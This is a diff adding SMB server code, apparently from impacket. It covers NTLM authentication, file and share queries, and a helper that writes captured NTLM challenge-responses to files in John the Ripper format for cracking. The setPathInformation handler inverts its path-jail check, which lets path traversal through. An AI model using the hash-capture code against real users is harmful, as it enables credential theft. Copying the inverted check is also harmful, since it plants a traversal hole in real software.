+    responseKeyLM = ntlm.LMOWFv2(identity, '', authenticateMessage['domain_name'].decode('utf-16le'), lmhash)
+
+    ntProofStr = authenticateMessage['ntlm'][:16]
+    temp = authenticateMessage['ntlm'][16:]
+    ntProofStr2 = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)
+    lmChallengeResponse = authenticateMessage['lanman']
+    sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)
+
+    responseFlags = type1['flags']
+
+    # Let's check the return flags
+    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
+        # No extended session security, taking it out
+        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
+    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
+        # No support for 128 key len, taking it out
+        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
+    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
+        # No key exchange supported, taking it out
+        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
+    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SEAL) == 0:
+        # No sign available, taking it out
+        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_SEAL
+    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN) == 0:
+        # No sign available, taking it out
+        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_SIGN
+    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN) == 0:
+        # No sign available, taking it out
+        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
+
+    keyExchangeKey = ntlm.KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmChallengeResponse,
+                                ntlmChallenge['challenge'], '',
+                                lmhash, nthash, True)
+
+    # If we set up key exchange, let's fill the right variables
+    if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
+        exportedSessionKey = authenticateMessage['session_key']
+        exportedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
+    else:
+        encryptedRandomSessionKey = None
+        # [MS-NLMP] page 46
+        exportedSessionKey = keyExchangeKey
+
+    # Do they match?
+    if ntProofStr == ntProofStr2:
+        # Yes!, process login
+        return STATUS_SUCCESS, exportedSessionKey
+    else:
+        return STATUS_LOGON_FAILURE, exportedSessionKey
+
+
+def outputToJohnFormat(challenge, username, domain, lmresponse, ntresponse):
+    # We don't want to add a possible failure here, since this is an
+    # extra bonus. We try, if it fails, returns nothing
+    # ToDo: Document the parameter's types (bytes / string) and check all the places where it's called
+    ret_value = ''
+    if type(challenge) is not bytes:
+        challenge = challenge.decode('latin-1')
+
+    try:
+        if len(ntresponse) > 24:
+            # Extended Security - NTLMv2
+            ret_value = {'hash_string': '%s::%s:%s:%s:%s' % (
+                username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(challenge).decode('latin-1'),
+                hexlify(ntresponse).decode('latin-1')[:32],
+                hexlify(ntresponse).decode()[32:]), 'hash_version': 'ntlmv2'}
+        else:
+            # NTLMv1
+            ret_value = {'hash_string': '%s::%s:%s:%s:%s' % (
+                username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(lmresponse).decode('latin-1'),
+                hexlify(ntresponse).decode('latin-1'),
+                hexlify(challenge).decode()), 'hash_version': 'ntlm'}
+    except:
+        # Let's try w/o decoding Unicode
+        try:
+            if len(ntresponse) > 24:
+                # Extended Security - NTLMv2
+                ret_value = {'hash_string': '%s::%s:%s:%s:%s' % (
+                    username.decode('latin-1'), domain.decode('latin-1'), hexlify(challenge).decode('latin-1'),
+                    hexlify(ntresponse)[:32].decode('latin-1'), hexlify(ntresponse)[32:].decode('latin-1')),
+                             'hash_version': 'ntlmv2'}
+            else:
+                # NTLMv1
+                ret_value = {'hash_string': '%s::%s:%s:%s:%s' % (
+                    username, domain, hexlify(lmresponse).decode('latin-1'), hexlify(ntresponse).decode('latin-1'),
+                    hexlify(challenge).decode('latin-1')), 'hash_version': 'ntlm'}
+        except Exception as e:
+            import traceback
+            traceback.print_exc()
+            LOG.error("outputToJohnFormat: %s" % e)
+            pass
+
+    return ret_value
+
+
+def writeJohnOutputToFile(hash_string, hash_version, file_name):
+    fn_data = os.path.splitext(file_name)
+    if hash_version == "ntlmv2":
+        output_filename = fn_data[0] + "_ntlmv2" + fn_data[1]
+    else:
+        output_filename = fn_data[0] + "_ntlm" + fn_data[1]
+
+    with open(output_filename, "a") as f:
+        f.write(hash_string)
+        f.write('\n')
+
+
+def decodeSMBString(flags, text):
+    if flags & smb.SMB.FLAGS2_UNICODE:
+        return text.decode('utf-16le')
+    else:
+        return text
+
+
+def encodeSMBString(flags, text):
+    if flags & smb.SMB.FLAGS2_UNICODE:
+        return (text).encode('utf-16le')
+    else:
+        return text.encode('ascii')
+
+
+def getFileTime(t):
+    t *= 10000000
+    t += 116444736000000000
+    return t
+
+
+def getUnixTime(t):
+    t -= 116444736000000000
+    t //= 10000000
+    return t
+
+
+def getSMBDate(t):
+    # TODO: Fix this :P
+    d = datetime.date.fromtimestamp(t)
+    year = d.year - 1980
+    ret = (year << 8) + (d.month << 4) + d.day
+    return ret
+
+
+def getSMBTime(t):
+    # TODO: Fix this :P
+    d = datetime.datetime.fromtimestamp(t)
+    return (d.hour << 8) + (d.minute << 4) + d.second
+
+
+def getShares(connId, smbServer):
+    config = smbServer.getServerConfig()
+    sections = config.sections()
+    # Remove the global one
+    del (sections[sections.index('global')])
+    shares = {}
+    for i in sections:
+        shares[i] = dict(config.items(i))
+    return shares
+
+
+def searchShare(connId, share, smbServer):
+    config = smbServer.getServerConfig()
+    if config.has_section(share):
+        return dict(config.items(share))
+    else:
+        return None
+
+
+def normalize_path(file_name, path=None):
+    """Normalizes a path by replacing "\" with "/" and stripping potential
+    leading "/" chars. If a path is provided, only strip leading '/' when
+    the path is empty.
+
+    :param file_name: file name to normalize
+    :type file_name: string
+
+    :param path: path to normalize
+    :type path: string
+
+    :return normalized file name
+    :rtype string
+    """
+    file_name = os.path.normpath(file_name.replace('\\', '/'))
+    if len(file_name) > 0 and (file_name[0] == '/' or file_name[0] == '\\'):
+        if path is None or path != '':
+            # Strip leading "/"
+            file_name = file_name[1:]
+    return file_name
+
+
+def isInFileJail(path, file_name):
+    """Validates if a provided file name path is inside a path. This function is used
+    to check for path traversals.
+
+    :param path: base path to check
+    :type path: string
+    :param file_name: file name to validate
+    :type file_name: string
+
+    :return whether the file name is inside the base path or not
+    :rtype bool
+    """
+    path_name = os.path.join(path, file_name)
+    share_real_path = os.path.realpath(path)
+    return os.path.commonprefix((os.path.realpath(path_name), share_real_path)) == share_real_path
+
+
+def openFile(path, fileName, accessMode, fileAttributes, openMode):
+    fileName = normalize_path(fileName)
+    pathName = os.path.join(path, fileName)
+    errorCode = 0
+    mode = 0
+
+    if not isInFileJail(path, fileName):
+        LOG.error("Path not in current working directory")
+        errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD
+        return 0, mode, pathName, errorCode
+
+    # Check the Open Mode
+    if openMode & 0x10:
+        # If the file does not exist, create it.
+        mode = os.O_CREAT
+    else:
+        # If file does not exist, return an error
+        if os.path.exists(pathName) is not True:
+            errorCode = STATUS_NO_SUCH_FILE
+            return 0, mode, pathName, errorCode
+
+    if os.path.isdir(pathName) and (fileAttributes & smb.ATTR_DIRECTORY) == 0:
+        # Request to open a normal file and this is actually a directory
+        errorCode = STATUS_FILE_IS_A_DIRECTORY
+        return 0, mode, pathName, errorCode
+    # Check the Access Mode
+    if accessMode & 0x7 == 1:
+        mode |= os.O_WRONLY
+    elif accessMode & 0x7 == 2:
+        mode |= os.O_RDWR
+    else:
+        mode = os.O_RDONLY
+
+    try:
+        if sys.platform == 'win32':
+            mode |= os.O_BINARY
+        fid = os.open(pathName, mode)
+    except Exception as e:
+        LOG.error("openFile: %s,%s" % (pathName, mode), e)
+        fid = 0
+        errorCode = STATUS_ACCESS_DENIED
+
+    return fid, mode, pathName, errorCode
+
+
+def queryFsInformation(path, filename, level=None, pktFlags=smb.SMB.FLAGS2_UNICODE):
+    if pktFlags & smb.SMB.FLAGS2_UNICODE:
+        encoding = 'utf-16le'
+    else:
+        encoding = 'ascii'
+
+    fileName = normalize_path(filename)
+    pathName = os.path.join(path, fileName)
+    fileSize = os.path.getsize(pathName)
+    (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)
+
+    if level is None:
+        lastWriteTime = mtime
+        attribs = 0
+        if os.path.isdir(pathName):
+            attribs |= smb.SMB_FILE_ATTRIBUTE_DIRECTORY
+        if os.path.isfile(pathName):
+            attribs |= smb.SMB_FILE_ATTRIBUTE_NORMAL
+        fileAttributes = attribs
+        return fileSize, lastWriteTime, fileAttributes
+
+    elif level == smb.SMB_QUERY_FS_ATTRIBUTE_INFO or level == smb2.SMB2_FILESYSTEM_ATTRIBUTE_INFO:
+        data = smb.SMBQueryFsAttributeInfo()
+        data['FileSystemAttributes'] = smb.FILE_CASE_SENSITIVE_SEARCH | smb.FILE_CASE_PRESERVED_NAMES
+        data['MaxFilenNameLengthInBytes'] = 255
+        data['LengthOfFileSystemName'] = len('XTFS') * 2
+        data['FileSystemName'] = 'XTFS'.encode('utf-16le')
+        return data.getData()
+    elif level == smb.SMB_INFO_VOLUME:
+        data = smb.SMBQueryFsInfoVolume(flags=pktFlags)
+        data['VolumeLabel'] = 'SHARE'.encode(encoding)
+        return data.getData()
+    elif level == smb.SMB_QUERY_FS_VOLUME_INFO or level == smb2.SMB2_FILESYSTEM_VOLUME_INFO:
+        data = smb.SMBQueryFsVolumeInfo()
+        data['VolumeLabel'] = ''
+        data['VolumeCreationTime'] = getFileTime(ctime)
+        return data.getData()
+    elif level == smb.SMB_QUERY_FS_SIZE_INFO:
+        data = smb.SMBQueryFsSizeInfo()
+        return data.getData()
+    elif level == smb.SMB_QUERY_FS_DEVICE_INFO or level == smb2.SMB2_FILESYSTEM_DEVICE_INFO:
+        data = smb.SMBQueryFsDeviceInfo()
+        data['DeviceType'] = smb.FILE_DEVICE_DISK
+        return data.getData()
+    elif level == smb.FILE_FS_FULL_SIZE_INFORMATION:
+        data = smb.SMBFileFsFullSizeInformation()
+        return data.getData()
+    elif level == smb.FILE_FS_SIZE_INFORMATION:
+        data = smb.FileFsSizeInformation()
+        return data.getData()
+    else:
+        return None
+
+
+def findFirst2(path, fileName, level, searchAttributes, pktFlags=smb.SMB.FLAGS2_UNICODE, isSMB2=False):
+    # TODO: Depending on the level, this could be done much simpler
+
+    # Let's choose the right encoding depending on the request
+    if pktFlags & smb.SMB.FLAGS2_UNICODE:
+        encoding = 'utf-16le'
+    else:
+        encoding = 'ascii'
+
+    fileName = normalize_path(fileName)
+    pathName = os.path.join(path, fileName)
+
+    if not isInFileJail(path, fileName):
+        LOG.error("Path not in current working directory")
+        return [], 0, STATUS_OBJECT_PATH_SYNTAX_BAD
+
+    files = []
+
+    if pathName.find('*') == -1 and pathName.find('?') == -1:
+        # No search patterns
+        pattern = ''
+    else:
+        pattern = os.path.basename(pathName)
+        dirName = os.path.dirname(pathName)
+
+    # Always add . and .. Not that important for Windows, but Samba whines if
+    # not present (for * search only)
+    if pattern == '*':
+        files.append(os.path.join(dirName, '.'))
+        files.append(os.path.join(dirName, '..'))
+
+    if pattern != '':
+        for file in os.listdir(dirName):
+            if fnmatch.fnmatch(file.lower(), pattern.lower()):
+                entry = os.path.join(dirName, file)
+                if os.path.isdir(entry):
+                    if searchAttributes & smb.ATTR_DIRECTORY:
+                        files.append(entry)
+                else:
+                    files.append(entry)
+    else:
+        if os.path.exists(pathName):
+            files.append(pathName)
+
+    searchResult = []
+    searchCount = len(files)
+    errorCode = STATUS_SUCCESS
+
+    for i in files:
+        if level == smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_BOTH_DIRECTORY_INFO:
+            item = smb.SMBFindFileBothDirectoryInfo(flags=pktFlags)
+        elif level == smb.SMB_FIND_FILE_DIRECTORY_INFO or level == smb2.SMB2_FILE_DIRECTORY_INFO:
+            item = smb.SMBFindFileDirectoryInfo(flags=pktFlags)
+        elif level == smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO or level == smb2.SMB2_FULL_DIRECTORY_INFO:
+            item = smb.SMBFindFileFullDirectoryInfo(flags=pktFlags)
+        elif level == smb.SMB_FIND_INFO_STANDARD:
+            item = smb.SMBFindInfoStandard(flags=pktFlags)
+        elif level == smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_FULL_DIRECTORY_INFO:
+            item = smb.SMBFindFileIdFullDirectoryInfo(flags=pktFlags)
+        elif level == smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO:
+            item = smb.SMBFindFileIdBothDirectoryInfo(flags=pktFlags)
+        elif level == smb.SMB_FIND_FILE_NAMES_INFO or level == smb2.SMB2_FILE_NAMES_INFO:
+            item = smb.SMBFindFileNamesInfo(flags=pktFlags)
+        else:
+            LOG.error("Wrong level %d!" % level)
+            return searchResult, searchCount, STATUS_NOT_SUPPORTED
+
+        (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(i)
+        if os.path.isdir(i):
+            item['ExtFileAttributes'] = smb.ATTR_DIRECTORY
+        else:
+            item['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
+
+        item['FileName'] = os.path.basename(i).encode(encoding)
+
+        if level in [smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO, smb2.SMB2_FILE_BOTH_DIRECTORY_INFO,
+                     smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO, smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO]:
+            item['EaSize'] = 0
+            item['EndOfFile'] = size
+            item['AllocationSize'] = size
+            item['CreationTime'] = getFileTime(ctime)
+            item['LastAccessTime'] = getFileTime(atime)
+            item['LastWriteTime'] = getFileTime(mtime)
+            item['LastChangeTime'] = getFileTime(mtime)
+            item['ShortName'] = '\x00' * 24
+            item['FileName'] = os.path.basename(i).encode(encoding)
+            padLen = (8 - (len(item) % 8)) % 8
+            item['NextEntryOffset'] = len(item) + padLen
+        elif level in [smb.SMB_FIND_FILE_DIRECTORY_INFO, smb2.SMB2_FILE_DIRECTORY_INFO]:
+            item['EndOfFile'] = size
+            item['AllocationSize'] = size
+            item['CreationTime'] = getFileTime(ctime)
+            item['LastAccessTime'] = getFileTime(atime)
+            item['LastWriteTime'] = getFileTime(mtime)
+            item['LastChangeTime'] = getFileTime(mtime)
+            item['FileName'] = os.path.basename(i).encode(encoding)
+            padLen = (8 - (len(item) % 8)) % 8
+            item['NextEntryOffset'] = len(item) + padLen
+        elif level in [smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO, smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO,
+                       smb2.SMB2_FULL_DIRECTORY_INFO, smb2.SMB2_FILE_ID_FULL_DIRECTORY_INFO]:
+            item['EaSize'] = 0
+            item['EndOfFile'] = size
+            item['AllocationSize'] = size
+            item['CreationTime'] = getFileTime(ctime)
+            item['LastAccessTime'] = getFileTime(atime)
+            item['LastWriteTime'] = getFileTime(mtime)
+            item['LastChangeTime'] = getFileTime(mtime)
+            padLen = (8 - (len(item) % 8)) % 8
+            item['NextEntryOffset'] = len(item) + padLen
+        elif level == smb.SMB_FIND_INFO_STANDARD:
+            item['EaSize'] = size
+            item['CreationDate'] = getSMBDate(ctime)
+            item['CreationTime'] = getSMBTime(ctime)
+            item['LastAccessDate'] = getSMBDate(atime)
+            item['LastAccessTime'] = getSMBTime(atime)
+            item['LastWriteDate'] = getSMBDate(mtime)
+            item['LastWriteTime'] = getSMBTime(mtime)
+        searchResult.append(item)
+
+    # No more files
+    if (level >= smb.SMB_FIND_FILE_DIRECTORY_INFO or isSMB2 is True) and searchCount > 0:
+        searchResult[-1]['NextEntryOffset'] = 0
+
+    return searchResult, searchCount, errorCode
+
+
+def queryFileInformation(path, filename, level):
+    # print "queryFileInfo path: %s, filename: %s, level:0x%x" % (path,filename,level)
+    return queryPathInformation(path, filename, level)
+
+
+def queryPathInformation(path, filename, level):
+    # TODO: Depending on the level, this could be done much simpler
+    try:
+        errorCode = 0
+        fileName = normalize_path(filename, path)
+        pathName = os.path.join(path, fileName)
+
+        if not isInFileJail(path, fileName):
+            LOG.error("Path not in current working directory")
+            return None, STATUS_OBJECT_PATH_SYNTAX_BAD
+
+        if os.path.exists(pathName):
+            (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)
+            if level == smb.SMB_QUERY_FILE_BASIC_INFO:
+                infoRecord = smb.SMBQueryFileBasicInfo()
+                infoRecord['CreationTime'] = getFileTime(ctime)
+                infoRecord['LastAccessTime'] = getFileTime(atime)
+                infoRecord['LastWriteTime'] = getFileTime(mtime)
+                infoRecord['LastChangeTime'] = getFileTime(mtime)
+                if os.path.isdir(pathName):
+                    infoRecord['ExtFileAttributes'] = smb.ATTR_DIRECTORY
+                else:
+                    infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
+            elif level == smb.SMB_QUERY_FILE_STANDARD_INFO or level == smb2.SMB2_FILE_STANDARD_INFO:
+                infoRecord = smb.SMBQueryFileStandardInfo()
+                infoRecord['AllocationSize'] = size
+                infoRecord['EndOfFile'] = size
+                if os.path.isdir(pathName):
+                    infoRecord['Directory'] = 1
+                else:
+                    infoRecord['Directory'] = 0
+            elif level == smb.SMB_QUERY_FILE_ALL_INFO:
+                infoRecord = smb.SMBQueryFileAllInfo()
+                infoRecord['CreationTime'] = getFileTime(ctime)
+                infoRecord['LastAccessTime'] = getFileTime(atime)
+                infoRecord['LastWriteTime'] = getFileTime(mtime)
+                infoRecord['LastChangeTime'] = getFileTime(mtime)
+                if os.path.isdir(pathName):
+                    infoRecord['ExtFileAttributes'] = smb.ATTR_DIRECTORY
+                else:
+                    infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
+                infoRecord['AllocationSize'] = size
+                infoRecord['EndOfFile'] = size
+                if os.path.isdir(pathName):
+                    infoRecord['Directory'] = 1
+                else:
+                    infoRecord['Directory'] = 0
+                infoRecord['FileName'] = filename.encode('utf-16le')
+            elif level == smb2.SMB2_FILE_ALL_INFO:
+                infoRecord = smb2.FILE_ALL_INFORMATION()
+                infoRecord['BasicInformation'] = smb2.FILE_BASIC_INFORMATION()
+                infoRecord['StandardInformation'] = smb2.FILE_STANDARD_INFORMATION()
+                infoRecord['InternalInformation'] = smb2.FILE_INTERNAL_INFORMATION()
+                infoRecord['EaInformation'] = smb2.FILE_EA_INFORMATION()
+                infoRecord['AccessInformation'] = smb2.FILE_ACCESS_INFORMATION()
+                infoRecord['PositionInformation'] = smb2.FILE_POSITION_INFORMATION()
+                infoRecord['ModeInformation'] = smb2.FILE_MODE_INFORMATION()
+                infoRecord['AlignmentInformation'] = smb2.FILE_ALIGNMENT_INFORMATION()
+                infoRecord['NameInformation'] = smb2.FILE_NAME_INFORMATION()
+                infoRecord['BasicInformation']['CreationTime'] = getFileTime(ctime)
+                infoRecord['BasicInformation']['LastAccessTime'] = getFileTime(atime)
+                infoRecord['BasicInformation']['LastWriteTime'] = getFileTime(mtime)
+                infoRecord['BasicInformation']['ChangeTime'] = getFileTime(mtime)
+                if os.path.isdir(pathName):
+                    infoRecord['BasicInformation']['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
+                    infoRecord['StandardInformation']['Directory'] = 1
+                    infoRecord['EaInformation']['EaSize'] = smb.ATTR_DIRECTORY
+                else:
+                    infoRecord['BasicInformation']['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_NORMAL | smb.SMB_FILE_ATTRIBUTE_ARCHIVE
+                    infoRecord['StandardInformation']['Directory'] = 0
+                    infoRecord['EaInformation']['EaSize'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
+                infoRecord['StandardInformation']['AllocationSize'] = size
+                infoRecord['StandardInformation']['EndOfFile'] = size
+                infoRecord['StandardInformation']['NumberOfLinks'] = nlink
+                infoRecord['StandardInformation']['DeletePending'] = 0
+                infoRecord['InternalInformation']['IndexNumber'] = ino
+                infoRecord['AccessInformation']['AccessFlags'] = 0 #
+                infoRecord['PositionInformation']['CurrentByteOffset'] = 0 #
+                infoRecord['ModeInformation']['mode'] = mode
+                infoRecord['AlignmentInformation']['AlignmentRequirement'] = 0 #
+                infoRecord['NameInformation']['FileName'] = fileName
+                infoRecord['NameInformation']['FileNameLength'] = len(fileName)
+            elif level == smb2.SMB2_FILE_NETWORK_OPEN_INFO:
+                infoRecord = smb.SMBFileNetworkOpenInfo()
+                infoRecord['CreationTime'] = getFileTime(ctime)
+                infoRecord['LastAccessTime'] = getFileTime(atime)
+                infoRecord['LastWriteTime'] = getFileTime(mtime)
+                infoRecord['ChangeTime'] = getFileTime(mtime)
+                infoRecord['AllocationSize'] = size
+                infoRecord['EndOfFile'] = size
+                if os.path.isdir(pathName):
+                    infoRecord['FileAttributes'] = smb.ATTR_DIRECTORY
+                else:
+                    infoRecord['FileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
+            elif level == smb.SMB_QUERY_FILE_EA_INFO or level == smb2.SMB2_FILE_EA_INFO:
+                infoRecord = smb.SMBQueryFileEaInfo()
+            elif level == smb2.SMB2_FILE_STREAM_INFO:
+                infoRecord = smb.SMBFileStreamInformation()
+            else:
+                LOG.error('Unknown level for query path info! 0x%x' % level)
+                # UNSUPPORTED
+                return None, STATUS_NOT_SUPPORTED
+
+            return infoRecord, errorCode
+        else:
+            # NOT FOUND
+            return None, STATUS_OBJECT_NAME_NOT_FOUND
+    except Exception as e:
+        LOG.error('queryPathInfo: %s' % e)
+        raise
+
+
+def queryDiskInformation(path):
+    # TODO: Do something useful here :)
+    # For now we just return fake values
+    totalUnits = 65535
+    freeUnits = 65535
+    return totalUnits, freeUnits
+
+
+# Here we implement the NT transaction handlers
+class NTTRANSCommands:
+    def default(self, connId, smbServer, recvPacket, parameters, data, maxDataCount=0):
+        pass
+
+
+# Here we implement the NT transaction handlers
+class TRANSCommands:
+    @staticmethod
+    def lanMan(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):
+        # Minimal [MS-RAP] implementation, just to return the shares
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        errorCode = STATUS_SUCCESS
+        if struct.unpack('<H', parameters[:2])[0] == 0:
+            # NetShareEnum Request
+            netShareEnum = smb.SMBNetShareEnum(parameters)
+            if netShareEnum['InfoLevel'] == 1:
+                shares = getShares(connId, smbServer)
+                respParameters = smb.SMBNetShareEnumResponse()
+                respParameters['EntriesReturned'] = len(shares)
+                respParameters['EntriesAvailable'] = len(shares)
+                tailData = ''
+                for i in shares:
+                    # NetShareInfo1 len == 20
+                    entry = smb.NetShareInfo1()
+                    entry['NetworkName'] = i + '\x00' * (13 - len(i))
+                    entry['Type'] = int(shares[i]['share type'])
+                    # (beto) If offset == 0 it crashes explorer.exe on windows 7
+                    entry['RemarkOffsetLow'] = 20 * len(shares) + len(tailData)
+                    respData += entry.getData()
+                    if 'comment' in shares[i]:
+                        tailData += shares[i]['comment'] + '\x00'
+                    else:
+                        tailData += '\x00'
+                respData += tailData
+            else:
+                # We don't support other info levels
+                errorCode = STATUS_NOT_SUPPORTED
+        elif struct.unpack('<H', parameters[:2])[0] == 13:
+            # NetrServerGetInfo Request
+            respParameters = smb.SMBNetServerGetInfoResponse()
+            netServerInfo = smb.SMBNetServerInfo1()
+            netServerInfo['ServerName'] = smbServer.getServerName()
+            respData = netServerInfo.getData()
+            respParameters['TotalBytesAvailable'] = len(respData)
+        elif struct.unpack('<H', parameters[:2])[0] == 1:
+            # NetrShareGetInfo Request
+            request = smb.SMBNetShareGetInfo(parameters)
+            respParameters = smb.SMBNetShareGetInfoResponse()
+            shares = getShares(connId, smbServer)
+            share = shares[request['ShareName'].upper()]
+            shareInfo = smb.NetShareInfo1()
+            shareInfo['NetworkName'] = request['ShareName'].upper() + '\x00'
+            shareInfo['Type'] = int(share['share type'])
+            respData = shareInfo.getData()
+            if 'comment' in share:
+                shareInfo['RemarkOffsetLow'] = len(respData)
+                respData += share['comment'] + '\x00'
+            respParameters['TotalBytesAvailable'] = len(respData)
+
+        else:
+            # We don't know how to handle anything else
+            errorCode = STATUS_NOT_SUPPORTED
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+    @staticmethod
+    def transactNamedPipe(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        errorCode = STATUS_SUCCESS
+        SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
+        transParameters = smb.SMBTransaction_Parameters(SMBCommand['Parameters'])
+
+        # Extract the FID
+        fid = struct.unpack('<H', transParameters['Setup'][2:])[0]
+
+        if fid in connData['OpenedFiles']:
+            fileHandle = connData['OpenedFiles'][fid]['FileHandle']
+            if fileHandle != PIPE_FILE_DESCRIPTOR:
+                os.write(fileHandle, data)
+                respData = os.read(fileHandle, data)
+            else:
+                sock = connData['OpenedFiles'][fid]['Socket']
+                sock.send(data)
+                respData = sock.recv(maxDataCount)
+        else:
+            errorCode = STATUS_INVALID_HANDLE
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+
+# Here we implement the transaction2 handlers
+class TRANS2Commands:
+    # All these commands return setup, parameters, data, errorCode
+    @staticmethod
+    def setPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        errorCode = STATUS_SUCCESS
+        setPathInfoParameters = smb.SMBSetPathInformation_Parameters(flags=recvPacket['Flags2'], data=parameters)
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], setPathInfoParameters['FileName']), path)
+            pathName = os.path.join(path, fileName)
+
+            if isInFileJail(path, fileName):
+                smbServer.log("Path not in current working directory")
+                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD
+
+            elif os.path.exists(pathName):
+                informationLevel = setPathInfoParameters['InformationLevel']
+                if informationLevel == smb.SMB_SET_FILE_BASIC_INFO:
+                    infoRecord = smb.SMBSetFileBasicInfo(data)
+                    # Creation time won't be set,  the other ones we play with.
+                    atime = infoRecord['LastAccessTime']
+                    if atime == 0:
+                        atime = -1
+                    else:
+                        atime = getUnixTime(atime)
+                    mtime = infoRecord['LastWriteTime']
+                    if mtime == 0:
+                        mtime = -1
+                    else:
+                        mtime = getUnixTime(mtime)
+                    if mtime != -1 or atime != -1:
+                        os.utime(pathName, (atime, mtime))
+                else:
+                    smbServer.log('Unknown level for set path info! 0x%x' % setPathInfoParameters['InformationLevel'],
+                                  logging.ERROR)
+                    # UNSUPPORTED
+                    errorCode = STATUS_NOT_SUPPORTED
+            else:
+                errorCode = STATUS_OBJECT_NAME_NOT_FOUND
+
+            if errorCode == STATUS_SUCCESS:
+                respParameters = smb.SMBSetPathInformationResponse_Parameters()
+
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+    @staticmethod
+    def setFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        errorCode = STATUS_SUCCESS
+        setFileInfoParameters = smb.SMBSetFileInformation_Parameters(parameters)
+
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if setFileInfoParameters['FID'] in connData['OpenedFiles']:
+                fileName = connData['OpenedFiles'][setFileInfoParameters['FID']]['FileName']
+                informationLevel = setFileInfoParameters['InformationLevel']
+                if informationLevel == smb.SMB_SET_FILE_DISPOSITION_INFO:
+                    infoRecord = smb.SMBSetFileDispositionInfo(parameters)
+                    if infoRecord['DeletePending'] > 0:
+                        # Mark this file for removal after closed
+                        connData['OpenedFiles'][setFileInfoParameters['FID']]['DeleteOnClose'] = True
+                        respParameters = smb.SMBSetFileInformationResponse_Parameters()
+                elif informationLevel == smb.SMB_SET_FILE_BASIC_INFO:
+                    infoRecord = smb.SMBSetFileBasicInfo(data)
+                    # Creation time won't be set,  the other ones we play with.
+                    atime = infoRecord['LastAccessTime']
+                    if atime == 0:
+                        atime = -1
+                    else:
+                        atime = getUnixTime(atime)
+                    mtime = infoRecord['LastWriteTime']
+                    if mtime == 0:
+                        mtime = -1
+                    else:
+                        mtime = getUnixTime(mtime)
+                    os.utime(fileName, (atime, mtime))
+                elif informationLevel == smb.SMB_SET_FILE_END_OF_FILE_INFO:
+                    fileHandle = connData['OpenedFiles'][setFileInfoParameters['FID']]['FileHandle']
+                    infoRecord = smb.SMBSetFileEndOfFileInfo(data)
+                    if infoRecord['EndOfFile'] > 0:
+                        os.lseek(fileHandle, infoRecord['EndOfFile'] - 1, 0)
+                        os.write(fileHandle, b'\x00')
+                else:
